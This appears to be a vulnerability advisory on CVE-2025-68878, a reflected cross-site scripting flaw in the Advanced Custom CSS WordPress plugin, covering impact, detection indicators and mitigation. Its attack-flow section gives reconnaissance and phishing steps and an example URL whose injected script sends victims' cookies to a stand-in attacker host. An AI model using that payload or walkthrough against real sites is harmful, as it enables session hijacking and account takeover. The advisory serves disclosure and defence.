CVE-2025-68878: 
WordPress vulnerability analysis and mitigation

CVE-2025-68878 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Advanced Custom CSS WordPress plugin by prasadkirpekar. It affects all versions up to and including 1.1.0, with no official patch available as of the disclosure date. The vulnerability was reported by security researcher Nguyen Xuan Chien on September 15, 2025, and publicly disclosed on December 26–29, 2025. It carries a CVSS v3.1 base score of 7.1 (High) (Patchstack VDP, Red Hat CVE).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the Reflected XSS type (CAPEC-591). The plugin fails to properly sanitize or encode user-supplied input before reflecting it back in the generated web page, allowing an attacker to craft a malicious URL containing injected JavaScript. Exploitation requires no authentication (unauthenticated attacker) but does require user interaction — a privileged or regular user must click the crafted link or visit the malicious URL. The attack vector is network-accessible with low complexity (Patchstack VDP, ENISA EUVD).

Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of the victim (including administrative actions if an admin clicks the link), redirection to malicious sites, and defacement of web content. The CVSS scope is marked as Changed, indicating the impact extends beyond the vulnerable component itself to the user's browser environment (Patchstack VDP).

No public exploit code or active in-the-wild exploitation has been confirmed for CVE-2025-68878 as of the available data. The EPSS score is approximately 0.033%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, Patchstack notes that vulnerabilities of this class are commonly used in mass-exploit campaigns targeting WordPress plugins at scale, regardless of site popularity (Patchstack VDP).

1. Reconnaissance: Identify WordPress sites running the Advanced Custom CSS plugin (version ≤ 1.1.0) using tools like WPScan, Shodan, or Google dorks targeting plugin-specific file paths.
2. Identify vulnerable parameter: Locate the plugin's admin or front-end page that reflects unsanitized user input (e.g., a query parameter passed to the plugin's page handler).
3. Craft malicious URL: Construct a URL targeting the vulnerable endpoint with a reflected XSS payload embedded in the relevant parameter, e.g., https://target-site.com/wp-admin/admin.php?page=advanced-custom-css&param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver the payload: Send the crafted URL to a target user (e.g., a WordPress administrator) via phishing email, social engineering, or a malicious link.
5. Achieve objective: When the victim clicks the link and their browser loads the page, the injected script executes in their session — enabling cookie theft, session hijacking, or unauthorized administrative actions on the WordPress site (Patchstack VDP).

• Network: HTTP requests to WordPress admin or plugin pages containing URL-encoded script tags or JavaScript event handlers (e.g., <script>, onerror=, javascript:) in query parameters associated with the Advanced Custom CSS plugin.
• Logs: WordPress or web server access logs showing GET/POST requests to plugin-related endpoints with anomalous parameter values containing HTML or JavaScript payloads; unusual outbound requests from victim browsers to external attacker-controlled domains shortly after accessing plugin pages.
• Browser/Session: Unexpected session token exfiltration or cookie access patterns; users reporting unexpected redirects or pop-ups after clicking links related to the WordPress site.

As of the disclosure date, no official patch is available from the plugin developer for Advanced Custom CSS versions ≤ 1.1.0. The recommended immediate action is to deactivate and remove the plugin until a patched version is released. Patchstack has issued a virtual patching/mitigation rule for subscribers of its service to block exploitation attempts automatically. Site administrators should also implement a Web Application Firewall (WAF) with XSS filtering rules as an interim control (Patchstack VDP).

The vulnerability was discovered and reported by researcher Nguyen Xuan Chien and disclosed through Patchstack's Vulnerability Disclosure Program (VDP). Patchstack classified it as medium priority and noted the absence of an official patch, issuing a virtual mitigation rule for its platform users. No significant broader media coverage or notable social media discussion has been identified beyond standard vulnerability database aggregation (Patchstack VDP).